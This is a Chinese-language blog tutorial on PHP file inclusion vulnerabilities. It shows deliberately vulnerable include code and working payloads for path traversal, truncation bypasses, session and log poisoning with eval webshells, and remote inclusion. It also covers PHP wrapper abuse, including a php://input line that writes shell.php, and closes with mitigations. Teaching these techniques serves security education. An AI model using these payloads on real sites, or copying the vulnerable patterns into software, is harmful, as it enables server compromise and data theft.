✔PHP文件包含漏洞全面总结
<p>我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html<br></p><div class="toc"><div class="toc-container-header">目录</div><ul><li>文件包含的定义</li><li>文件包含漏洞常见函数</li><li>文件包含漏洞示例代码分析</li><li>无限制本地文件包含漏洞<ul><li>定义以及代码实现</li><li>常见的敏感信息路径<ul><li>Windows下常见敏感文件</li><li>Linux下常见敏感文件</li></ul></li><li>漏洞利用<ul><li>无限制本地文件包含漏洞示例代码</li><li>读取文件内容</li><li>利用无限制本地文件包含漏洞执行代码</li></ul></li></ul></li><li>有限制本地文件包含漏洞<ul><li>%00截断文件包含<ul><li>利用条件</li><li><strong>示例代码</strong></li><li><strong>测试结果</strong></li></ul></li><li>路径长度截断文件包含<ul><li>漏洞利用条件</li><li>示例代码</li><li>测试结果</li></ul></li><li>点号截断文件包含<ul><li>漏洞利用条件</li><li>示例代码</li><li>测试结果</li></ul></li></ul></li><li>Session文件包含漏洞<ul><li>利用条件</li><li>示例分析</li><li>漏洞分析</li><li>漏洞利用</li></ul></li><li>日志文件包含<ul><li>中间件日志文件包含<ul><li>将恶意代码写入到日志文件</li><li>文件包含日志文件</li></ul></li><li>SSH日志文件包含<ul><li>将恶意代码写入文件</li><li>使用文件包含日志文件</li></ul></li><li>远程文件包含<ul><li>无限制远程文件包含</li><li>有限制的远程文件包含<ul><li>通过问号绕过</li><li>通过井号绕过</li><li>通过空格绕过</li></ul></li></ul></li></ul></li><li>PHP 伪协议<ul><li>php://伪协议<ul><li>php://filter</li><li>php://input<ul><li>读取POST数据</li><li>写入木马</li><li>执行命令</li></ul></li></ul></li><li>file: //伪协议</li><li>data:// 伪协议</li><li>phar://伪协议</li><li>zip:// 伪协议</li><li>expect://伪协议</li></ul></li><li>文件包含漏洞修复<ul><li>代码配置</li><li>服务器配置</li></ul></li></ul></div><p></p>
<h1 id="文件包含的定义">文件包含的定义</h1>
<ul>
<li>如果文件包含函数没有经过严格的过滤或者定义<br>
并且参数可以被用户控制<br>
这样就有可能包含非预期的文件。</li>
<li>如果文件中存在恶意代码,无论文件是什么类型<br>
恶意代码都会被解析。</li>
<li>文件包含漏洞可能会造成服务器的网页被篡改,网站被挂马,服务器被远程控制,被安装后门等危害</li>
</ul>
<h1 id="文件包含漏洞常见函数">文件包含漏洞常见函数</h1>
<p>PHP文件包含函数有以下四种:</p>
<ul>
<li>include</li>
<li>inclued_once</li>
<li>require</li>
<li>require_once</li>
</ul>
<p><code>require()/require_once()</code>:如果在包含过程中有错,那么直接退出,不执行进一步操作。<br>
<code>include()/include_once()</code>: 如果在包含过程中出错,只会发出警告</p>
<p><strong>加上后缀_once的作用</strong>:如果文件已经包含过了,那么不会再次包含</p>
<p><mark>当利用这四大漏洞函数包含文件的时候,不论什么类型的文件,都会作为PHP脚本解析</mark></p>
<h1 id="文件包含漏洞示例代码分析">文件包含漏洞示例代码分析</h1>
<p>文件包含漏洞示例代码如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include $file;
?>
</code></pre>
<p>上面的代码没有对<code>$_GET['file']</code>参数进行严格的过滤,直接代入到了include中去,攻击者可以传递file参数的值来达到攻击的目的,比如<code>?file=../../etc/passwd</code>来实现窃读密码文件的目的。</p>
<h1 id="无限制本地文件包含漏洞">无限制本地文件包含漏洞</h1>
<h2 id="定义以及代码实现">定义以及代码实现</h2>
<p>无限制本地文件包含漏洞是<mark>没有为包含文件指定特定的前缀或者拓展名</mark>,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,或者执行其他文件中的代码</p>
<h2 id="常见的敏感信息路径">常见的敏感信息路径</h2>
<h3 id="windows下常见敏感文件">Windows下常见敏感文件</h3>
<table>
<thead>
<tr>
<th style="text-align: center">目录</th>
<th style="text-align: center">内容</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">\boot.ini</td>
<td style="text-align: center">系统版本信息</td>
</tr>
<tr>
<td style="text-align: center">\xxx\php.ini</td>
<td style="text-align: center">PHP配置信息</td>
</tr>
<tr>
<td style="text-align: center">\xxx\my.ini</td>
<td style="text-align: center">MYSQL配置信息</td>
</tr>
<tr>
<td style="text-align: center">\xxx\httpd.conf</td>
<td style="text-align: center">Apache配置信息</td>
</tr>
</tbody>
</table>
<h3 id="linux下常见敏感文件">Linux下常见敏感文件</h3>
<table>
<thead>
<tr>
<th style="text-align: center">目录</th>
<th style="text-align: center">内容</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">/etc/passwd</td>
<td style="text-align: center">Linux系统账号信息</td>
</tr>
<tr>
<td style="text-align: center">/etc/httpd/conf/httpd.conf</td>
<td style="text-align: center">Apache配置信息</td>
</tr>
<tr>
<td style="text-align: center">/etc/my.conf</td>
<td style="text-align: center">MySQL配置信息</td>
</tr>
<tr>
<td style="text-align: center">/usr/etc/php.ini</td>
<td style="text-align: center">PHP配置信息</td>
</tr>
</tbody>
</table>
<h2 id="漏洞利用">漏洞利用</h2>
<h3 id="无限制本地文件包含漏洞示例代码">无限制本地文件包含漏洞示例代码</h3>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include ($file);
?>
</code></pre>
<h3 id="读取文件内容">读取文件内容</h3>
<p>通过目录遍历可以获取系统中/etc/passwd文件的内容,使用示例如下:<br>
<code>http://www.abc.com/flie.php?file=../../../../etc/passwd</code></p>
<h3 id="利用无限制本地文件包含漏洞执行代码">利用无限制本地文件包含漏洞执行代码</h3>
<p>可以通过文件包含功能执行任意拓展名的文件中的代码<br>
比如:<br>
在同一目录下,有如下名为phpinfo.txt文件:</p>
<pre><code class="language-txt"><?phpinfo();?>
</code></pre>
<p>当页面访问index.php的时候,如果输入URL:<br>
<code>http://...../index.php?file=phpinfo.txt</code><br>
就会轻而易举执行txt中的phpinfo()函数,并回显内容。</p>
<p><strong>总结</strong>:这种情况的实现条件是:</p>
<ul>
<li>PHP代码中有相关的文件包含函数:比如 include ($file)</li>
<li>攻击者能够对包含的变量进行传递参数:比如 \$file=$_GET['file'];</li>
</ul>
<h1 id="有限制本地文件包含漏洞">有限制本地文件包含漏洞</h1>
<p>有限制本地文件包含漏洞是指代码中为包含文件指定了特定的前缀或者拓展名,攻击者必须要对前缀或者拓展名过滤,才能达到利用文件包含漏洞读取操作。</p>
<p>常见的过滤绕过方式有三种:</p>
<ul>
<li>%00 截断文件包含</li>
<li>路径长度截断包含</li>
<li>点好截断文件包含</li>
</ul>
<h2 id="00截断文件包含">%00截断文件包含</h2>
<h3 id="利用条件">利用条件</h3>
<p>这个漏洞的使用必须满足如下条件</p>
<ul>
<li>magic_quotes_gpc=off</li>
<li>PHP版本低于5.3.4</li>
</ul>
<h3 id="示例代码"><strong>示例代码</strong></h3>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include ($file.".html");
?>
</code></pre>
<h3 id="测试结果"><strong>测试结果</strong></h3>
<p>输入以下测试代码:<br>
<code>http://www.abc.com/xxx/file.php?file=../../../../../../boot.ini%00</code><br>
通过%00截断了后面的html拓展名过滤,成功读取了boot.ini的内容</p>
<h2 id="路径长度截断文件包含">路径长度截断文件包含</h2>
<p>操作系统存在着最大路径长度的限制。可以输入超过最大路劲长度的目录,这样系统就会将后面的路劲丢弃,导致拓展名截断。</p>
<h3 id="漏洞利用条件">漏洞利用条件</h3>
<ul>
<li>Windows下最大路径长度为256B</li>
<li>Linux下最大路径长度为4096B</li>
</ul>
<h3 id="示例代码-1">示例代码</h3>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include ($file.".html");
?>
</code></pre>
<h3 id="测试结果-1">测试结果</h3>
<p>输入测试以下代码:</p>
<pre><code>http://www.abc.com/xxx/file.php?file=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
</code></pre>
<p>执行后发现已经成功截断了后面的拓展名</p>
<h2 id="点号截断文件包含">点号截断文件包含</h2>
<h3 id="漏洞利用条件-1">漏洞利用条件</h3>
<p>点号截断包含<strong>只使用与Windows系统</strong>,点号的长度大于256B的时候,就可以造成拓展名截断</p>
<h3 id="示例代码-2">示例代码</h3>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include ($file.".html");
?>
</code></pre>
<h3 id="测试结果-2">测试结果</h3>
<pre><code>http://www.abc.com/xxx/file.php?file=test.txt.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
</code></pre>
<p>发现已经成功截断了html拓展名</p>
<h1 id="session文件包含漏洞">Session文件包含漏洞</h1>
<p>当可以获取session文件路径并且session文件的内容可控的的时候,就可以通过包含session文件进行攻击</p>
<h2 id="利用条件-1">利用条件</h2>
<p>session文件包含的利用条件有两个:</p>
<ul>
<li>Session的存储位置可以获取</li>
<li>Session的内容可控</li>
</ul>
<p>一般通过以下两种方式获取session的存储位置:</p>
<ul>
<li>通过phpinfo的信息获取session的存储位置。<br>
通过phpinfo的信息获取<code>session.save_path</code></li>
<li>通过猜测默认的session存储位置进行尝试<br>
通常Linux中的Session的默认存储位置在<code>/var/lib/php/session</code>目录下</li>
</ul>
<h2 id="示例分析">示例分析</h2>
<p>session文件包含代码如下</p>
<pre><code class="language-php">session_start();
$ctfs=$_GET['ctfs'];
$_SESSION['username']=$ctfs
</code></pre>
<p>此代码可以通过GET型的ctfs参数传入。PHP代码将会获取的值存入到Session中。<br>
攻击者可以利用ctfs参数将恶意代码写入到session文件中,然后在利用文件包含漏洞包含此session文件,向系统中传递恶意代码。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p>上面的代码满足Session文件包含的两个要求</p>
<ul>
<li>PHP代码将会获取ctfs变量的值存入到session中</li>
<li>Session的默认 存储位置是/var/lib/php/session</li>
</ul>
<p>访问URL:<code>http://www.abc.com/xxx/session.php?ctfs=a</code> 会在/var/lib/php/session目录下降ctfs传入的值存储到session中<br>
<mark>Session的文件名以sess_开头,后跟Sessionid</mark>,Sessionid可以通过开发者模式获取:<br>
单击右键——检查——存储——Cookie——PHPSESSID 就可以找到内容</p>
<p>假设通过开发者模式获取到的sessionid的值为hufh7hsdf392eurh4,所以session的文件名为<code>sess_hufh7hsdf392eurh4</code><br>
在/var/lib/php/session目录下查看此文件,内容为:<strong>username|s:4:"a"</strong></p>
<h2 id="漏洞利用-1">漏洞利用</h2>
<p>通过上面的分析,可以得知,向ctfs参数传入的内容会存储到session文件中。<br>
如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到Session文件当中去,然后通过文件包含漏洞执行getshell</p>
<p>例如:访问代码<code>http://www.abc.com/xxx/session.php?ctfs=<?php phpinfo();?></code>后,会在/var/lib/php/session目录下降ctfs的值写入session文件<br>
session文件的内容为:<code>username|s:18:"<?php phpinfo();?>"</code>.</p>
<p><strong>攻击步骤</strong></p>
<ul>
<li>将恶意代码写入session文件</li>
<li>攻击者可以通过PHPinfo或者猜测到session存放的位置</li>
<li>通过开发者模式可以获得文件名称</li>
<li>通过本地文件包含漏洞可以解析session文件达到攻击的目的</li>
</ul>
<p>比如:<code>http://www.abc.com/xxx/file.php?file=../../var/lib/php/session/sess_7sdfysdfywy9323cew2</code></p>
<h1 id="日志文件包含">日志文件包含</h1>
<p>服务器的中间件,ssh服务都有日志记录的功能。如果开启了日志记录功能,用户访问的日志就会存储到不同服务的相关文件。<br>
如果日志文件的位置是默认位置或者是可以通过其他方法获取,就可以通过访问日志将恶意代码写入到日志文件中去,然后通过文件包含漏洞包含日志中的恶意代码,获得权限。<br>
典型的日志文件包含:</p>
<ul>
<li>中间件日志文件包含</li>
<li>ssh日志文件包含</li>
</ul>
<h2 id="中间件日志文件包含">中间件日志文件包含</h2>
<p>利用条件:</p>
<ul>
<li>web中间件日志文件的存储位置已知,并且具有可读权限</li>
</ul>
<p>下面开始介绍日志文件包含漏洞利用步骤</p>
<h3 id="将恶意代码写入到日志文件">将恶意代码写入到日志文件</h3>
<p>中间件开启了访问日志记录功能,会访问日志写入到日志文件中。<br>
假设访问URL:http://192.168.1.2/xxx/index.php<br>
发现会在日志文件中有如下内容:</p>
<pre><code>#less /var/log/httpd/access_log
192.168.1.200 - - "GET /xxx/index.php HTTP/1.1" 200 86....
</code></pre>
<p>中间件日志访问会记录访问者的IP地址、访问时间、访问路径、返回状态码等等。<br>
利用中间件访问记录路径到日志文件中的功能,将恶意代码写入到日志文件当中去:<br>
添加恶意代码:<code>http://www.abc.com/xxx/<?php @eval($_POST);?></code><br>
此时会提示404,但是不急<br>
查看日志文件,发现已经将内容写入</p>
<pre><code>#less /var/log/httpd/access_log
192.168.1.200 - - "GET /xxx/%3C?php @eval($_POST);?%3E HTTP/1.1" 404 826....
</code></pre>
<p>虽然已经写入到日志文件中去了,但是浏览器进行了URL编码,导致传入的代码不能正常使用<br>
<strong>可以通过burpsuite抓包的方式写入恶意代码,这样不会被浏览器进行URL编码</strong><br>
查看日志文件,内容如下</p>
<pre><code>#less /var/log/httpd/access_log
192.168.1.200 - - "GET /xxx/<?php @eval($_POST);?> HTTP/1.1" 404 302....
</code></pre>
<p>恶意代码成功写入</p>
<h3 id="文件包含日志文件">文件包含日志文件</h3>
<p>要执行文件包含,必须要知道日志文件的位置。<br>
常见的中间件日志文件都有默认的存储路径,比如Apache的中间件日志文件存在/var/log/httpd/目录下,文件名叫access_log<br>
输入测试语句<code>http://www.abc.com/xxx/file.php?file=../../../var/log/httpd/access_log</code><br>
之后在向网页传入POST参数:<code>123=phpinfo</code><br>
即可显示出phpinfo的内容</p>
<h2 id="ssh日志文件包含">SSH日志文件包含</h2>
<p>SSH日志文件包含的利用条件是:</p>
<ul>
<li>SSH日志路径已知,并且具有可读权限</li>
</ul>
<p>SSH日志文件的默认路径为<code>/var/log/auth.log</code></p>
<p>下面介绍漏洞利用步骤</p>
<h3 id="将恶意代码写入文件">将恶意代码写入文件</h3>
<p>SSH如果开启了日志记录的功能,那么会将ssh的连接日志记录到ssh日志文件当中<br>
将连接的用户名设置成恶意代码,用命令连接服务器192.168.1.1的ssh服务<br>
<code>ssh "<?php @eval($_POST);?>"@192.168.1.1</code><br>
查看日志文件/var/log/auth.log,可以观察到恶意代码已经写入到日志文件</p>
<h3 id="使用文件包含日志文件">使用文件包含日志文件</h3>
<p>测试输入语句:<code>http://192.168.1.1/xxx/file.php?file=../../../var/log/auth.log</code><br>
之后再向网页传入POST参数:<code>123=phpinfo</code><br>
就可以出现phpinfo的内容了</p>
<h2 id="远程文件包含">远程文件包含</h2>
<h3 id="无限制远程文件包含">无限制远程文件包含</h3>
<p>无限制远程文件包含是指包含文件的位置并不在本地服务器,而是通过URL的形式包含到其他服务器上的文件,以及执行文件中的恶意代码<br>
漏洞利用的条件是:</p>
<pre><code>allow_url_fopen=on
allow_url_include=on
</code></pre>
<p>无限远程执行文件的代码如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include $file;
?>
</code></pre>
<p>设定一个文件:php.txt 的内容为<code><?php phpinfo();?></code><br>
在正常情况下访问远程服务器URL,<code>http://192.168.2.1/php.txt</code><br>
包含在php.txt中的phpinfo函数不会当做PHP代码执行,但是通过远程文件包含漏洞,包含在php.txt的phpinfo函数会被当做PHP代码执行<br>
<code>http://www.abc.com/file.php?file=http://192.168.2.1/php.txt</code></p>
<h3 id="有限制的远程文件包含">有限制的远程文件包含</h3>
<p>有限制的远程文件包含是代码中存在特定的前缀和后缀.php /.html 等拓展名过滤的时候,攻击者需要绕过前缀或者拓展名过滤,才能远程执行URL代码<br>
示例代码如下</p>
<pre><code class="language-php"> include($_GET['filename'].".html");
</code></pre>
<p>通常有限制的远程文件包含可以通过问号、井号、空格绕过</p>
<h4 id="通过问号绕过">通过问号绕过</h4>
<p>可以在问号后面添加html字符串,问号后面的拓展名会被当做查询,从而绕过过滤<br>
<code>http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt?</code></p>
<h4 id="通过井号绕过">通过井号绕过</h4>
<p>可以在#后面添加HTML字符串,#会截断后面的拓展名,从而绕过拓展名过滤.#的URL编码为%23<br>
<code>http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%23</code></p>
<h4 id="通过空格绕过">通过空格绕过</h4>
<p><code>http://www.abc.com/file.php?filename=http://192.168.2.1/php.txt%20</code></p>
<h1 id="php-伪协议">PHP 伪协议</h1>
<p>PHP带有很多内置的URL风格的封装协议,可用于 fopen\copy\file_exists\filesize等文件系统函数<br>
常见的PHP伪协议如下:</p>
<ul>
<li>file:// 访问本地文件系统</li>
<li>http:// 访问http(s)网址</li>
<li>ftp:// 访问ftp(s)URL</li>
<li>php:// 访问各个输入输出流</li>
<li>zlib:// 处理压缩流</li>
<li>data:// 读取数据</li>
<li>glob:// 找查匹配的文件路径模式</li>
<li>phar:// PHP归档</li>
<li>ssh2:// Secure Shell 2</li>
<li>rar:// RAR处理压缩数据</li>
<li>ogg:// 处理音频流</li>
<li>expect:// 处理交互式的流</li>
</ul>
<h2 id="php伪协议">php://伪协议</h2>
<h3 id="phpfilter">php://filter</h3>
<p>php://filter 是元封装器,设计用于数据流打开时筛选过滤应用,对本地磁盘文件进行读写<br>
以下两种用法相同<br>
<code>?filename=php://filter/read=convert.base64-encode/resource=xxx.php</code><br>
<code>?filename=php://filter/convert.base64-encode/resource=xxx.php</code><br>
使用php://filter allow_url_fopen和allow_url_include不需要开启</p>
<table>
<thead>
<tr>
<th>前缀名称</th>
<th>后加内容</th>
<th>描述</th>
</tr>
</thead>
<tbody>
<tr>
<td>resource=</td>
<td>要过滤的数据流</td>
<td>指定要过滤的数据流</td>
</tr>
<tr>
<td>read=</td>
<td>读链的筛选器列表</td>
<td>参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔</td>
</tr>
<tr>
<td>write=</td>
<td>写链的筛选器列表</td>
<td>参数可选,可设定一个或者多个筛选器名称,以管道符(|)分隔</td>
</tr>
<tr>
<td>空</td>
<td>两个链的筛选器列表</td>
<td>没有用read=或者write=做前缀的筛选器列表会是轻快应用于读或者写</td>
</tr>
</tbody>
</table>
<p>这样文件会以base64的编码打开,使用python解码即可</p>
<pre><code class="language-python">import base64
print(base64.b64decode("........."))
</code></pre>
<h3 id="phpinput">php://input</h3>
<p>php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"的时候php://input是无效的。<br>
php://input有以下三种用法</p>
<h4 id="读取post数据">读取POST数据</h4>
<p>php://input可以读取POST上没有经过解析的原始数据<br>
利用php://input 读取POST数据的时候,allow_url_fopen和allow_url_include不需要开启<br>
示例代码如下</p>
<pre><code class="language-php"> echo file_get_contents("php://input");
</code></pre>
<p>上面代码输出file_get_contents函数获取的php://input数据。<br>
测试时传入POST数据字符串test<br>
最后会在页面回显出test</p>
<h4 id="写入木马">写入木马</h4>
<p>利用php://input写入木马的时候,PHP配置文件只需要开启allow_url_include<br>
如果POST传入的是PHP代码,就可以写入木马<br>
示例代码如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>如果POST传入的是一个执行写入木马的PHP代码,就会在当前目录下写入一个木马,通过POST方法传入的是以下代码<br>
<code><?php fputs(fopen('shell.php','w'),'<?php @eval($_POST)?>');?></code><br>
利用php://input传入木马的PHP代码<br>
<code>http"//www.abc.com/xxx/file.php?file=php://input</code><br>
测试的结果就是通过php://input传入了这个代码,并在当前目录下建立了shell.php文件</p>
<h4 id="执行命令">执行命令</h4>
<p>示例代码如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>利用php://input执行命令的时候,PHP配置文件只需要开启allow_url_include<br>
如果POST传入的是PHP代码,就可以执行任意代码,如果此时PHP代码调用了系统函数,就可以执行该命令<br>
比如传入POST参数<br>
<code><?php system('ls');?></code></p>
<h2 id="file-伪协议">file: //伪协议</h2>
<p>file:// 可以访问本地文件系统,读取本地文件的内容<br>
使用file:// 不需要开启allow_url_fopen和allow_url_include<br>
示例代码如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>可以输入以下URL<br>
<code>http://www.abc.com/xxx/file.php?file=file://c:/boot.ini</code><br>
这个命令就可以起到访问本地文件的目的</p>
<h2 id="data-伪协议">data:// 伪协议</h2>
<p>从PHP5.2.0起,数据封装流就开始有效,用于数据流的读取。<br>
如果传入的都是PHP代码,就会执行任意代码<br>
使用方法如下<br>
<code>data://text/plain;base64,xxxxx(base64编码后的数据)</code><br>
<strong>利用data:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include</strong><br>
代码示例如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>通过data:// 伪协议传送phpinfo代码,<code><?php phpinfo();?></code>的base64编码为PD9waHAgcGhwaW5mbygpOz8+,需要对加号进行URL编码:%2b<br>
最终输入的data数据是:<br>
<code>data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</code><br>
传入到URL就是<br>
<code>http://www.abc.com/xxx/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b</code></p>
<h2 id="phar伪协议">phar://伪协议</h2>
<p>phar:// 是用来解压的伪协议<br>
phar://不管参数中是什么拓展名,都会被当做压缩包<br>
用法:<code>?file=phar://压缩包/压缩文件</code><br>
比如:<code>phar://xxx.png/shell.php</code><br>
<strong>利用phar:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0</strong></p>
<blockquote>
<p>注意:压缩包需要用zip://伪协议压缩而不能用rar://,将木马文件压缩后,改成任意后缀名都可以正常使用</p>
</blockquote>
<p>代码示例如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>写一个木马文件shell.php,然后用zip://伪协议压缩成shell.zip,最后修改后缀名为.png,上传图片<br>
输入测试:<code>http://www.abc.com/xxx/file.php?file=phar://shell.png/shell.php</code></p>
<p>这样phar://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件</p>
<h2 id="zip-伪协议">zip:// 伪协议</h2>
<p>和phar://伪协议原理类似,但用法不同<br>
用法:<code>?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]</code><br>
<strong>利用zip:// 时,PHP配置文件需要开启allow_url_fopen和allow_url_include,并且PHP版本要高于5.3.0</strong></p>
<blockquote>
<p>注意:需要将#转换成URL编码:%23</p>
</blockquote>
<p>代码示例如下:</p>
<pre><code class="language-php"><?php
$file=$_GET['file'];
include($file);
?>
</code></pre>
<p>输入测试:<code>http://www.abc.com/xxx/file?file=zip://D:/phpstudy/www/.../test.png%23shell.php (zip必须是绝对路径)</code><br>
这样zip://就会将png当做zip压缩包进行解压,并且访问解压后的shell.php文件</p>
<h2 id="expect伪协议">expect://伪协议</h2>
<p>expect://伪协议用来执行系统命令,但是需要安装拓展<br>
用法: <code>?file=expect://ls</code></p>
<h1 id="文件包含漏洞修复">文件包含漏洞修复</h1>
<h2 id="代码配置">代码配置</h2>
<p>可以在代码层对文件包含进行过滤,设置包含的参数的白名单,假设网站只包含文件为index.php和admin.php<br>
就可以定义好代码如下:</p>
<pre><code class="language-php"><?php
$filename=$_GET['filename'];
switch ($filename) {
case 'index':
case 'admin':
include('/var/www/html/'.filename.'.php');
break;
default:
break;
}
?>
</code></pre>
<h2 id="服务器配置">服务器配置</h2>
<ul>
<li>修改PHP配置文件,将open_basedir的值设置为可以包含的特定目录,后面要加/,例如open_basedir=/var/www/html/</li>
<li>修改PHP配置文件,关闭allow_url_include</li>
</ul>
</div>
<div id="MySignature" role="contentinfo">
<p>本文来自博客园,作者:{Zeker62},转载请注明原文链接:https://www.cnblogs.com/Zeker62/p/15322771.html</p><br><br>
来源:https://www.cnblogs.com/Zeker62/p/15322771.html
頁:
[1]